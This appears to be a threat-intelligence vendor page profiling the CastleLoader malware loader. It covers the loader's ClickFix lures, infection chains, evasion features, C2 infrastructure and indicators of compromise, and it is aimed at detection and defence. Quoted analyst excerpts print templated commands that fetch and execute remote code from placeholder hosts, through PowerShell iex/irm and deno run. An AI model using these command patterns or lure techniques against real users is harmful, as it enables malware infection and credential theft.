Loading malware…
CastleLoader is a modular malware loader and loader-as-a-service / malware-as-a-service framework active since at least early 2025 and closely associated with the threat actor GrayBravo, formerly tracked as TAG-150. Reporting describes it as an initial infection vector used to deploy a wide range of secondary payloads, including LummaC2, StealC, RedLine, Rhadamanthys, DeerStealer, NetSupport RAT, SectopRAT, WarmCookie, HijackLoader, and other stealers and RATs. It has been observed in evolving ClickFix-style social-engineering campaigns that impersonate Google, Cloudflare, LinkedIn, Indeed, and free utility sites such as background-removal or image-editing tools, as well as in bogus GitHub repositories and via the FakeSet downloader. Multiple reports also describe C-based, Python-based, and heavily obfuscated script-based CastleLoader variants.
Observed infection chains commonly rely on user-executed commands delivered through ClickFix lures, often abusing finger.exe with caret obfuscation, PowerShell, curl.exe, tar.exe, cmd.exe, and portable Python runtimes. In one documented chain, a fake BackgroundFix site copied a command that used finger.exe to retrieve a batch payload, downloaded an embeddable Python package from python.org, executed staged Python loaders, and ultimately loaded CastleLoader in memory. Another analyzed chain used an NSIS installer signed with a fraudulent EV certificate for "SERPENTINE SOLAR LIMITED" to extract an embedded Python 3.14 runtime, decrypt an AES-encrypted payload, and execute CastleLoader shellcode in memory via VirtualAlloc and RtlMoveMemory while masquerading as vc_redist.x86.exe. CastleLoader has also been delivered by Deno-based chains and by FakeSet.
Capabilities directly described in the reporting include in-memory task execution, host profiling, persistence, anti-VM checks, antivirus and EDR awareness, and flexible retrieval and execution of follow-on payloads. Reported configuration and behavior include collection of username, computer name, domain name, Windows version, architecture, and installed AV products; settings flags such as run_as_admin, anti_vm, prevent_restart, show_fake_error, make_screenshots, and get_installed_av; and anti-analysis logic including CPUID hypervisor checks, BIOS-string checks, forged STATUS_ACCESS_VIOLATION on VM detection, hashed API resolution, XOR-obfuscated strings, reflective PE loading, direct ntdll syscall usage, RC4-encrypted shellcode stages, and ChaCha20- or ChaCha-encrypted C2 traffic. One report states CastleLoader is designed to bypass traditional antivirus tools, establish persistence, and load additional malware or tools.
Infrastructure reporting ties CastleLoader to TAG-150 / GrayBravo multi-tier infrastructure and to command-and-control domains such as maybedontbanplease[.]com, with one investigation identifying 38[.]180[.]136[.]139 as current C2 infrastructure and 94[.]159[.]113[.]32 as a historical CastleLoader C2 IP. Additional reporting notes CastleLoader C2 servers often expose victim-facing services on port 80 and admin panels on port 5050, sometimes 9999, and that some payload-delivery domains are hosted behind Cloudflare. Huntress documented CastleLoader configuration using hxxps://trindastal[.]com/8250d149-9bf8-566d-9d7d-ea925eae0a4 as a C2 base URL, campaign UUID b47e1791-82ba-544f-9aab-ebbdd36d8c89, auth token D63TnQ3WhSnjI0yVKaILRu8U1WttdnE, instance ID YvAPcF0OnjSYuDW7QosQ, a hardcoded ChaCha20 key f5dbaa09e60343f252a80d4a313a36ac11442d96b0896022d1a83744e3c11feb, and nonce bbbbf632514c0caae655b2c4. Breakglass reported CastleLoader using the User-Agent string "GoogeBot."
CastleLoader has been linked primarily to financially motivated activity, but some reporting also notes overlap with Iranian state-linked operations: Check Point linked MuddyWater to CastleLoader through shared code-signing certificates and stated that FakeSet was used in recent infections to deliver CastleLoader. Reported targeting includes U.S. government agencies, critical infrastructure, IT firms, logistics companies, and broader victims reached through mass social-engineering campaigns. In 2026 Blackpoint reported CastleLoader as the most common malware variant observed in its ClickFix incidents, accounting for 14.3% of observed malware variants, and tracked more than 60 likely related incidents in a CastleLoader/CastleRAT campaign between 2026-05-01 and 2026-07-02.
High-confidence indicators mentioned in the content include maybedontbanplease[.]com, trindastal[.]com, obelnamevalf[.]org, brionter[.]com, 38[.]180[.]136[.]139, 94[.]159[.]113[.]32, the CastleLoader core hash bde21d8be65d31e1c380f2daae2f73c79f3e1f4bca70fb990db6fdf6c3768c92, and the NSIS installer SHA-256 4ba0d3ae41a0ae3143e8c2c3307c24b0d548593f97c79a30c0387b3d62504c31.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
CastleStealer is a .NET information stealer that was recently distributed alongside CastleLoader through a ClickFix-style lure masquerading as a free image-editing tool as part of a campaign codenamed BackgroundFix.
Another malware family linked to MuddyWater is a downloader called FakeSet, which the security researchers say was used in recent infections to deliver CastleLoader. CastleLoader is sold as a service to multiple affiliates and cyber crews.
Four distinct threat activity clusters have been observed leveraging a malware loader known as CastleLoader, strengthening the previous assessment that the tool is offered to other threat actors under a malware-as-a-service (MaaS) model.
Four distinct threat activity clusters have been observed leveraging a malware loader known as CastleLoader, strengthening the previous assessment that the tool is offered to other threat actors under a malware-as-a-service (MaaS) model.
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Threat actors are abusing fake Google and Cloudflare verification pages in evolving ClickFix campaigns to socially engineer users into executing malicious commands on their own systems.
The Blackpoint APG and SOC have been tracking a ClickFix campaign deploying the CastleLoader and CastleRAT malware... These attacks are often successful because they exploit deeply conditioned behavior, which includes completing verification steps without evaluating them.
These incidents have all included the use of finger.exe as the initial retrieval mechanism with the majority using caret (^) obfuscation on the command string.
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility.
Lastly, the renamed Python interpreter will be used to execute inline Python code.
The following stage is executed with the downloaded Deno executable: ... deno.exe run -A http://{C2}/{random_path}.js
In this case, the bytecode file is another in-memory loader that uses the Windows ctypes interface to execute shellcode received from a local named pipe.
These incidents have all included the use of finger.exe as the initial retrieval mechanism with the majority using caret (^) obfuscation on the command string.
This style of attack is designed to bypass basic user skepticism by mimicking standard web elements, making it particularly effective in mass-targeting scenarios.
This directory is also created under %LocalAppData% and mimics a legitimate Python installation structure, depending on the runtime variant being used (embedded CPython or IronPython).
This will be loaded in the memory of the same host python interpreter.
Embedded JavaScript dynamically fetches remote content from this endpoint, applies ROT13 to decode the response... Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents... using Base64 encoding, XOR decryption... The first 64 bytes of the downloaded blob are treated as the RC4 key... all C2 communication is encrypted via the symmetric ChaCha algorithm.
Despite differences in tooling and runtime selection, both variants follow the same overall execution chain, including LOLBin abuse, portable Python runtime deployment, staged payload retrieval, and in-memory execution of the next-stage malware payload.
The loader issues a get_tasks request to its C2 server using generated identifiers of the infected host... along with system profiling data (username, computer_name, domain_name, windows_version, arch, active_av and active_list).
The infrastructure linked to TAG-150 includes both victim-facing Tier 1 components, such as IP addresses and domains used as command-and-control (C2) servers for multiple malware families...
For the initial configuration fetch, the malware issues a GET request to a hardcoded base URL... the loader contacts only the base endpoint and transmits encrypted data within the HTTP POST request body.
179 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
47 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Loader malware delivered through fake verification pages in the evolving ClickFix campaign.
Malware loader used in a ClickFix-style campaign; designed to bypass traditional antivirus tools, establish persistence, and load additional malware or tools.
Loader payload distributed through the ClickFix infrastructure.
A loader used in ongoing ClickFix-style phishing campaigns to deliver follow-on payloads after initial access.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.